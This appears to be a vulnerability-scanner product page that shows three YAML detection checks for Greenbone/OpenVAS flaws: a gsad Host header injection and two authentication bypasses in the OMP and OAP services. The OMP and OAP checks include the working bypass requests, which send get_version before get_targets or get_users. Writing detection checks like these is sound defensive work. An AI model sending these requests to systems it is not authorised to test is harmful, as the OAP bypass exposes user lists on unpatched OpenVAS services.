Greenbone — 3 vulnerability checks

noctis ships 3 vulnerability checks for Greenbone, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Greenbone Security Assistant < 7.0.3 / Greenbone OS < 5.0.0 Host Header Injection

CVECVE-2018-25016
Severitycritical · CVSS 9.8
Categoryexposure — Exposure
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/greenbone/CVE-2018-25016.yaml

Tests the Greenbone Security Assistant web server (gsad) for the Host header injection fixed in GSA 7.0.3 and Greenbone OS 5.0.0 (CVE-2018-25016). The feed sends GET / with a Host header naming a random third-party host (noctis<random hex>.example.com). Vulnerable versions build their "303 See Other" redirect to the login page from that header, so the reply's body ("Code 303 - Redirecting to <a href=...>") sends the browser to the random host. A 303 reply redirecting to that host confirms the finding: the server can be made to redirect users, or poison cached links and e-mailed URLs, to an attacker-controlled domain. Fixed versions answer an unknown Host header with 400 Bad Request. The request only reads the redirect; nothing is changed on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.1
  3. Parses / computes the next value with a Rhai script
  4. Checks gsa_redirect for Code 303 - Redirecting to <a href= → finding QoD 75: GET / with Host: … was answered with a 303 redirect to that host — …

References:

Feed source — tests/vulnerabilities/greenbone/CVE-2018-25016.yaml
# Greenbone Security Assistant (gsad) < 7.0.3 / Greenbone OS < 5.0.0 —
# Host header injection — CVE-2018-25016
#
# gsad, the web server of the Greenbone Security Assistant, answers a request
# for "/" (and for "/login/", and every URL on its HTTP-to-HTTPS redirect
# port) with a "303 See Other" whose Location header AND body are built from
# the client's Host header, unchecked:
#
#   gsad 7.0.2 src/gsad.c, send_redirect_to_urn():
#     snprintf (uri, sizeof (uri), "%s://%s%s", protocol, host, urn);
#   send_redirect_to_uri():
#     "<html><body>Code 303 - Redirecting to <a href=\"%s\">%s<a/></body></html>"
#
# GSA 7.0.3 (gsa PR #318) added validate_host_header(): only the addresses gsad
# listens on, localhost and the --allow-header-host names are accepted, any
# other Host gets "400 Bad Request" with "The request contained an unknown or
# invalid Host header". Greenbone OS 5.0.0 ships the fixed gsad.
#
# Detection (benign, read-only): GET / with a random third-party Host header
# (noctis<random hex>.example.com). A 303 reply whose gsad redirect body sends
# the client to that random host proves the injection (QoD 75). The random
# name cannot come from anything but our header, so a plain redirect to the
# server's own name, a fixed gsad (400) or any other web server does not match.
#
# Improvements over the source check: a random per-run host instead of a fixed
# third-party domain (a page or honeypot that happens to contain the fixed name
# cannot match), and the regex is anchored on the href of the gsad redirect body.
#
# Ported from OpenVAS/Greenbone NVT 2019/greenbone/gb_gos_host_header_vuln_active.nasl
# (OID 1.3.6.1.4.1.25623.1.0.108662, GPL-2.0-only). Vulnerable / fixed code read
# from greenbone/gsa tags v7.0.2 and v7.0.3 (src/gsad.c).
uid: 75363b38-72ee-4c15-abc1-87dae56a3ae5
name: "Greenbone Security Assistant < 7.0.3 / Greenbone OS < 5.0.0 Host Header Injection (CVE-2018-25016)"
description: |
  Tests the Greenbone Security Assistant web server (gsad) for the Host header
  injection fixed in GSA 7.0.3 and Greenbone OS 5.0.0 (CVE-2018-25016). The
  feed sends GET / with a Host header naming a random third-party host
  (noctis<random hex>.example.com). Vulnerable versions build their "303 See
  Other" redirect to the login page from that header, so the reply's body
  ("Code 303 - Redirecting to <a href=...>") sends the browser to the random
  host. A 303 reply redirecting to that host confirms the finding: the server
  can be made to redirect users, or poison cached links and e-mailed URLs, to
  an attacker-controlled domain. Fixed versions answer an unknown Host header
  with 400 Bad Request. The request only reads the redirect; nothing is changed
  on the server.
cves: [CVE-2018-25016]
cvss: 9.8
severity: critical
category: exposure
confidence_base: 0.30
tags: [greenbone, gsa, gsad, greenbone-os, gos, host-header-injection, open-redirect, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-25016"
  - "https://github.com/greenbone/gsa/pull/318"
  - "https://github.com/greenbone/gsa/releases/tag/v7.0.3"
  # OpenVAS/Greenbone NASL 2019/greenbone/gb_gos_host_header_vuln_active.nasl (GPL-2.0-only)

steps:
  # ── 1. Per-run random third-party host name ─────────────────────────────
  - id: mint-host
    action: script
    code: '"noctis" + rand_hex(6) + ".example.com"'
    store_as: gsa_inj_host

  # ── 2. GET / with the injected Host header ──────────────────────────────
  #       Raw request: the Host header must go out exactly as written.
  - id: host-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.1\r\nHost: {{gsa_inj_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: gsa_resp
    # A failed connect leaves store_as unset: define it so the script runs.
    on_failure:
      set_vars:
        gsa_resp: false

  # ── 3. Keep the gsad redirect line, only on a 303 reply, only when it ───
  #       points at the random host we sent.
  - id: extract-redirect
    action: script
    code: |
      let line = "";
      if type_of(gsa_resp) == "map" && type_of(gsa_resp.banner) == "string"
          && ereg("^HTTP/1\\.[01] 303", gsa_resp.banner) {
        let host_re = str_replace(gsa_inj_host, ".", "\\.");
        line = egrep("Code 303 - Redirecting to <a href=\"https?://" + host_re + "[:/\"]", gsa_resp.banner);
      }
      chomp(line)
    store_as: gsa_redirect

  # ── 4. Confirm the injection ────────────────────────────────────────────
  - id: host-header-injected
    action: match
    source: gsa_redirect
    pattern: "Code 303 - Redirecting to <a href="
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "GET / with Host: {{gsa_inj_host}} was answered with a 303 redirect to that host — {{gsa_redirect}}"
      stop: true

OpenVAS Manager OMP authentication bypass

CVECVE-2013-6765
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Servicesomp
Ports9390
Detectionscript, tcp_open, tcp_send, tcp_close, match · highest QoD 75
Feedtests/vulnerabilities/greenbone/CVE-2013-6765.yaml

Connects to the OpenVAS Manager OMP service (TLS, default port 9390) and first sends `<get_targets/>` on its own as a control: a service that answers without any login is not reported. It then sends `<get_version/><get_targets/>` on a new connection. Affected Manager releases (3.0 before 3.0.7, 4.0 before 4.0.4, Greenbone OS 2.2.0-1 to 2.2.0-19) treat the version request as a successful authentication and answer the second command, which confirms the bypass. Read-only: two requests, nothing is changed on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Opens a persistent TCP/TLS socket
  6. Sends <get_targets/> on the open socket
  7. Sends … on the open socket
  8. Opens a persistent TCP/TLS socket
  9. Sends <get_version/><get_targets/> on the open socket
  10. Sends … on the open socket
  11. Parses / computes the next value with a Rhai script
  12. Checks p.verdict for ^bypass$ → finding QoD 75: OpenVAS Manager OMP authentication bypass (CVE-2013-6765)

References:

Feed source — tests/vulnerabilities/greenbone/CVE-2013-6765.yaml
# OpenVAS Manager < 3.0.7 / 4.0 < 4.0.4 (Greenbone OS 2.2.0-1 .. 2.2.0-19) — OMP authentication bypass — CVE-2013-6765
#
# The Manager's OMP service (TCP 9390, TLS) tracks a per-connection state. A <get_version/>
# request moved the state straight to CLIENT_AUTHENTIC, so a command sent after it on the
# same connection ran without <authenticate>. Fixed releases keep the state at "needs
# authentication" until a valid login.
#
# Port of OpenVAS `2013/gb_gsm_manager_auth_bypass_11_13.nasl` (OID 1.3.6.1.4.1.25623.1.0.103832,
# GPL-2.0-only): send "<get_version/><get_targets/>" and look for a get_targets_response.
# Read-only: get_version and get_targets only, nothing is created or changed.
#
# Better than the NASL:
#  - The NASL takes any reply holding `target id` as proof and, when OMP is not public, falls
#    back on a GOS version check. Here a control connection first sends `<get_targets/>` ALONE:
#    an OMP that already answers without the get_version trick has no authentication at all,
#    which is not this bug, so no finding is raised for it.
#  - An empty target list (`<get_targets_response status="200"...>` with no target) still proves
#    the bypass, which the NASL misses.
#  - A late read after each request catches a reply split over several TLS records.
#  - Works on OMP ports that nmap reports as `unknown` (`ports: [9390]`).
uid: c92dc7bb-1eb2-4335-bb79-77ce56be8bbd
name: "CVE-2013-6765 — OpenVAS Manager OMP authentication bypass"
description: |
  Connects to the OpenVAS Manager OMP service (TLS, default port 9390) and first sends
  `<get_targets/>` on its own as a control: a service that answers without any login is
  not reported. It then sends `<get_version/><get_targets/>` on a new connection. Affected
  Manager releases (3.0 before 3.0.7, 4.0 before 4.0.4, Greenbone OS 2.2.0-1 to 2.2.0-19)
  treat the version request as a successful authentication and answer the second command,
  which confirms the bypass. Read-only: two requests, nothing is changed on the target.
cves: [CVE-2013-6765]
cvss: 7.5
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [openvas, greenbone, omp, auth-bypass]
services: [omp]
ports: [9390]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-6765"
  - "OpenVAS/Greenbone NASL 2013/gb_gsm_manager_auth_bypass_11_13.nasl (OID 1.3.6.1.4.1.25623.1.0.103832, GPL-2.0-only)"

steps:
  - id: init
    action: script
    code: '#{ sent: false, responded: false, response: () }'
    store_as: ctl
  - id: init-late
    action: script
    code: '#{ sent: false, responded: false, response: () }'
    store_as: ctll
  - id: init-exploit
    action: script
    code: '#{ sent: false, responded: false, response: () }'
    store_as: ex
  - id: init-exploit-late
    action: script
    code: '#{ sent: false, responded: false, response: () }'
    store_as: exl

  # ── 1. Control: get_targets alone, no get_version first.
  - id: open-ctl
    action: tcp_open
    handle: oc
    port: "{{port}}"
    tls: true
    timeout_secs: 5
    store_as: cc
  - id: send-ctl
    action: tcp_send
    handle: oc
    condition: "cc.connected == true"
    send: "<get_targets/>\r\n"
    timeout_secs: 5
    store_as: ctl
  - id: late-ctl
    action: tcp_send
    handle: oc
    condition: "cc.connected == true && ctl.responded == true"
    send: ""
    timeout_secs: 1
    store_as: ctll
  - id: close-ctl
    action: tcp_close
    handle: oc

  # ── 2. get_version immediately followed by get_targets.
  - id: open-exploit
    action: tcp_open
    handle: ox
    port: "{{port}}"
    tls: true
    timeout_secs: 5
    store_as: ce
  - id: send-exploit
    action: tcp_send
    handle: ox
    condition: "ce.connected == true"
    send: "<get_version/><get_targets/>\r\n"
    timeout_secs: 5
    store_as: ex
  - id: late-exploit
    action: tcp_send
    handle: ox
    condition: "ce.connected == true && ex.responded == true"
    send: ""
    timeout_secs: 1
    store_as: exl
  - id: close-exploit
    action: tcp_close
    handle: ox

  - id: parse
    action: script
    condition: "cc.connected == true && ce.connected == true"
    store_as: p
    code: |
      let ctl_txt = "";
      if type_of(ctl.response) == "string" { ctl_txt += ctl.response; }
      if type_of(ctll.response) == "string" { ctl_txt += ctll.response; }
      let ex_txt = "";
      if type_of(ex.response) == "string" { ex_txt += ex.response; }
      if type_of(exl.response) == "string" { ex_txt += exl.response; }
      let ctl_ok = ereg("<get_targets_response status=\"2[0-9][0-9]\"", ctl_txt) ;
      let ex_ok = ereg("<get_targets_response status=\"2[0-9][0-9]\"", ex_txt) ;
      let tid = "";
      let m = eregmatch("<target id=\"([^\"]+)\"", ex_txt);
      if type_of(m) == "array" && m.len() > 1 { tid = m[1]; }
      let verdict = if ex_ok && !ctl_ok { "bypass" } else if ex_ok { "open" } else { "none" };
      #{ verdict: verdict, tid: tid }

  - id: report
    action: match
    source: p.verdict
    pattern: "^bypass$"
    condition: "cc.connected == true && ce.connected == true"
    on_match:
      finding:
        title: "OpenVAS Manager OMP authentication bypass (CVE-2013-6765)"
        description: "The OpenVAS Manager OMP service executes commands without authentication when a get_version request precedes them on the same connection: get_targets was answered, while the same command sent alone was refused."
        remediation: "Upgrade OpenVAS Manager to 3.0.7 / 4.0.4 or later (Greenbone OS 2.2.0-20 or later) and do not expose the OMP port (9390) to untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "get_version followed by get_targets was answered without authentication (first target id: {{p.tid}}); get_targets alone was refused"

OpenVAS Administrator OAP authentication bypass

CVECVE-2013-6766
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Servicesoap
Ports9393
Detectionscript, tcp_open, tcp_send, tcp_close, match · highest QoD 75
Feedtests/vulnerabilities/greenbone/CVE-2013-6766.yaml

Connects to the OpenVAS Administrator OAP service (TLS, default port 9393) and first sends `<get_users/>` on its own as a control: a service that lists users without any login is not reported. It then sends `<get_version/><get_users/>` on a new connection. Affected Administrator releases (1.2 before 1.2.2, 1.3 before 1.3.2) treat the version request as a successful authentication and answer the second command with the user list, which confirms the bypass. Read-only: two requests, nothing is changed on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Opens a persistent TCP/TLS socket
  6. Sends <get_users/> on the open socket
  7. Sends … on the open socket
  8. Opens a persistent TCP/TLS socket
  9. Sends <get_version/><get_users/> on the open socket
  10. Sends … on the open socket
  11. Parses / computes the next value with a Rhai script
  12. Checks p.verdict for ^bypass$ → finding QoD 75: OpenVAS Administrator OAP authentication bypass (CVE-2013-6766)

References:

Feed source — tests/vulnerabilities/greenbone/CVE-2013-6766.yaml
# OpenVAS Administrator 1.2 < 1.2.2 / 1.3 < 1.3.2 — OAP authentication bypass — CVE-2013-6766
#
# The Administrator's OAP service (TCP 9393, TLS) tracks a per-connection state. A
# <get_version/> request moved the state straight to CLIENT_AUTHENTIC, so any command
# sent after it on the same connection ran without <authenticate>. Fixed releases keep
# the state at "needs authentication" until a valid login.
#
# Port of OpenVAS `2013/gb_openvas_administrator_auth_bypass_11_13.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103828, GPL-2.0-only): send "<get_version/><get_users/>"
# and look for a get_users_response carrying <user> entries.
#
# Read-only: get_version and get_users only, nothing is created or changed.
#
# Better than the NASL:
#  - The NASL reads one 1024-byte chunk and takes any reply with `<user>` as proof. Here
#    a control connection first sends `<get_users/>` ALONE: an OAP that already lists
#    users without the get_version trick has no authentication at all, which is not this
#    bug, so no finding is raised for it.
#  - A late read after each request catches a reply split over several TLS records, and
#    both connections must succeed before a verdict is made.
#  - Works on OAP ports that nmap reports as `unknown` (`ports: [9393]`).
uid: 7ee64efe-1ce7-458e-b624-4650b46e1bbb
name: "CVE-2013-6766 — OpenVAS Administrator OAP authentication bypass"
description: |
  Connects to the OpenVAS Administrator OAP service (TLS, default port 9393) and first
  sends `<get_users/>` on its own as a control: a service that lists users without
  any login is not reported. It then sends `<get_version/><get_users/>` on a new
  connection. Affected Administrator releases (1.2 before 1.2.2, 1.3 before 1.3.2)
  treat the version request as a successful authentication and answer the
  second command with the user list, which confirms the bypass. Read-only: two
  requests, nothing is changed on the target.
cves: [CVE-2013-6766]
cvss: 7.5
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [openvas, greenbone, oap, auth-bypass]
services: [oap]
ports: [9393]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-6766"
  - "OpenVAS/Greenbone NASL 2013/gb_openvas_administrator_auth_bypass_11_13.nasl (OID 1.3.6.1.4.1.25623.1.0.103828, GPL-2.0-only)"

steps:
  - id: init
    action: script
    code: '#{ sent: false, responded: false, response: () }'
    store_as: ctl
  - id: init-late
    action: script
    code: '#{ sent: false, responded: false, response: () }'
    store_as: ctll
  - id: init-exploit
    action: script
    code: '#{ sent: false, responded: false, response: () }'
    store_as: ex
  - id: init-exploit-late
    action: script
    code: '#{ sent: false, responded: false, response: () }'
    store_as: exl

  # ── 1. Control: get_users alone, no get_version first.
  - id: open-ctl
    action: tcp_open
    handle: oc
    port: "{{port}}"
    tls: true
    timeout_secs: 5
    store_as: cc
  - id: send-ctl
    action: tcp_send
    handle: oc
    condition: "cc.connected == true"
    send: "<get_users/>\r\n"
    timeout_secs: 5
    store_as: ctl
  - id: late-ctl
    action: tcp_send
    handle: oc
    condition: "cc.connected == true && ctl.responded == true"
    send: ""
    timeout_secs: 1
    store_as: ctll
  - id: close-ctl
    action: tcp_close
    handle: oc

  # ── 2. get_version immediately followed by get_users.
  - id: open-exploit
    action: tcp_open
    handle: ox
    port: "{{port}}"
    tls: true
    timeout_secs: 5
    store_as: ce
  - id: send-exploit
    action: tcp_send
    handle: ox
    condition: "ce.connected == true"
    send: "<get_version/><get_users/>\r\n"
    timeout_secs: 5
    store_as: ex
  - id: late-exploit
    action: tcp_send
    handle: ox
    condition: "ce.connected == true && ex.responded == true"
    send: ""
    timeout_secs: 1
    store_as: exl
  - id: close-exploit
    action: tcp_close
    handle: ox

  - id: parse
    action: script
    condition: "cc.connected == true && ce.connected == true"
    store_as: p
    code: |
      let ctl_txt = "";
      if type_of(ctl.response) == "string" { ctl_txt += ctl.response; }
      if type_of(ctll.response) == "string" { ctl_txt += ctll.response; }
      let ex_txt = "";
      if type_of(ex.response) == "string" { ex_txt += ex.response; }
      if type_of(exl.response) == "string" { ex_txt += exl.response; }
      let ctl_users = ereg("<get_users_response status=\"2[0-9][0-9]\"", ctl_txt) && ereg("<user>", ctl_txt);
      let ex_users = ereg("<get_users_response status=\"2[0-9][0-9]\"", ex_txt) && ereg("<user>", ex_txt);
      let names = "";
      let m = eregmatch("<user><name>([^<]+)</name>", ex_txt);
      if type_of(m) == "array" && m.len() > 1 { names = m[1]; }
      let verdict = if ex_users && !ctl_users { "bypass" } else if ex_users { "open" } else { "none" };
      #{ verdict: verdict, names: names }

  - id: report
    action: match
    source: p.verdict
    pattern: "^bypass$"
    condition: "cc.connected == true && ce.connected == true"
    on_match:
      finding:
        title: "OpenVAS Administrator OAP authentication bypass (CVE-2013-6766)"
        description: "The OpenVAS Administrator OAP service executes commands without authentication when a get_version request precedes them on the same connection: get_users returned the user list, while the same command sent alone was refused."
        remediation: "Upgrade OpenVAS Administrator to 1.2.2 / 1.3.2 or later and do not expose the OAP port (9393) to untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "get_version followed by get_users returned user entries without authentication (first user: {{p.names}}); get_users alone was refused"

View these feeds on GitHub